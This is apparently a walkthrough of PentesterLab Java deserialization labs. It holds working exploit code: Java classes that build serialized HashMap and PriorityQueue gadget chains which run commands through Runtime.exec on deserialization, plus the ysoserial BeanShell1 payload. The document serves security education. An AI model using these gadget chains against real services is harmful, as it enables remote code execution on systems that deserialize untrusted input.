Java Security - Basics
Java deserialization Basics
Java Serialize - 02
The technique involving reflection in this context is integral to accessing and modifying the private field command
of the AnotherClass
object.
Reflection in Java allows code to inspect and manipulate classes, interfaces, fields, and methods at runtime. In this exploit:
- Accessing Private Field: The
Field
objectcommandField
is obtained using reflection. This allows access to the private fieldcommand
of theAnotherClass
class, which is otherwise inaccessible directly due to its visibility modifier. - Setting Field Value: The
setAccessible(true)
method is called oncommandField
to enable access to the private field. Then, theset()
method is used to modify the value of thecommand
field in thegadget
object. This allows us to inject the desired command to be executed upon deserialization. - Executing Arbitrary Code: By setting the
command
field to the desired command ,we leverage reflection to manipulate the internal state of the object. - During deserialization, when the
readObject()
method is invoked, the injected command is executed viaRuntime.getRuntime().exec()
, enabling arbitrary code execution on the target system.
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(bos);
AnotherClass gadget = new AnotherClass("...");
os.writeObject(gadget);
String base64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64);[...]
source code :
We have a clear target : readObject(ObjectInputStream stream)
package com.pentesterlab;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class AnotherClass implements Serializable {
private String command;
private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(this.command);
}
}
solver :
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Exploit {
public static void main(String[] args) {
try {
AnotherClass gadget = new AnotherClass();
Field commandField = AnotherClass.class.getDeclaredField("command");
commandField.setAccessible(true);
commandField.set(gadget, "/bin/calculator");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(bos);
os.writeObject(gadget);
String base64Encoded = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64Encoded);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Java Serialize - 03
In this challenge, we need to leverage a java.util.HashMap
that will call the method hashCode()
when it gets deserialized.
Map map = new HashMap<>();
AnotherClass gadget = new AnotherClass("touch /tmp/pwned");
map.put(gadget, "pwned");
This works because the method readObject()
of java.util.HashMap()
calls the method hash()
on key
:
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read the threshold and loadFactor fields.
s.defaultReadObject();
// Read and use capacity, followed by key/value pairs.
buckets = (HashEntry[]) new HashEntry[s.readInt()];
int len = s.readInt();
size = len;
while (len-- > 0)
{
Object key = s.readObject();
addEntry((K) key, (V) s.readObject(), hash(key), false);
}
}
And the method hash()
will call hashCode()
on the Object
key
:
package com.pentesterlab;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) {
Map map = new HashMap<>();
AnotherClass gadget = new AnotherClass("touch /tmp/pwned");
map.put(gadget, "hacked");
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
} catch (IOException e) {
e.printStackTrace();
}
}
}
java Serialize - 04
In this challenge, you need to leverage a java.util.PriorityQueue
that will call the method compare()
when it gets deserialized. Your "object generator" should look something like:
AnotherClass comparator = new AnotherClass();
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
This works because the method readObject()
of java.util.PriorityQueue
calls the method heapify()
:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
final Object[] es = queue = new Object[Math.max(size, 1)];
for (int i = 0, n = size; i < n; i++)
es[i] = s.readObject();
heapify();
}
The method heapify()
calls siftDownUsingComparator()
when a comparator is set. And this method calls the method compare()
of the conparator (cmp
):
private static void siftDownUsingComparator(
int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
int half = n >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = es[child];
int right = child + 1;
if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
c = es[child = right];
if (cmp.compare(x, (T) c) <= 0)
break;
es[k] = c;
k = child;
}
es[k] = x;
}
Java Serialize - 05
in this challenge, you need to leverage a java.util.PriorityQueue
that will call the method compare()
when it gets deserialized.
package com.pentesterlab;
import java.io.IOException;
import java.io.Serializable;
import java.util.Comparator;
import java.lang.RuntimeException;
public class AnotherClass implements Comparator, Serializable {
public int compare(String a, String b) {
try {
return Runtime.getRuntime().exec(a).exitValue();
} catch (Exception e) {
throw new RuntimeException("Nope");
}
}
}
AnotherClass comparator = new AnotherClass();
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
There is a small difference with the previous challenge. Here the compare method throws a RuntimeException
if the command fails during the creation of the gadget. There are two ways to bypass this:
- You can create the right file on your system as a symbolic link for example
- You can use Java to avoid running the command locally (the recommended way to increase how much you learn).
To do this in Java, clone the code of ysoserial and look at the following files: src/main/java/ysoserial/payloads/BeanShell1.java
package ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
and src/main/java/ysoserial/payloads/util/Reflections.java
.
package ysoserial.payloads.util;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory;
import com.nqzero.permit.Permit;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
}
These files should give you everything we need to create a java.util.PriorityQueue
with the malicious elements in it with running the compare()
method locally.
The AnotherClass is a custom comparator that implements both Comparator and Serializable interfaces. It has a compare(String a, String b) method that tries to execute the command provided in the string a and returns the exit value of the command. If the command execution fails, it throws a RuntimeException.
The Exploit class creates a PriorityQueue with AnotherClass as the comparator, adds two String objects to the queue to ensure compare() is called during deserialization, serializes the queue to a byte array, and then encodes the byte array to a base64 string.
package com.pentesterlab;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.PriorityQueue;
public class Exploit {
public static void main(String[] args) throws IOException {
AnotherClass comparator = new AnotherClass();
PriorityQueue<String> priorityQueue = new PriorityQueue<>(2, comparator);
priorityQueue.add("touch /tmp/pwned");
priorityQueue.add("touch /tmp/pwned");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.close();
String base64Queue = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64Queue);
}
}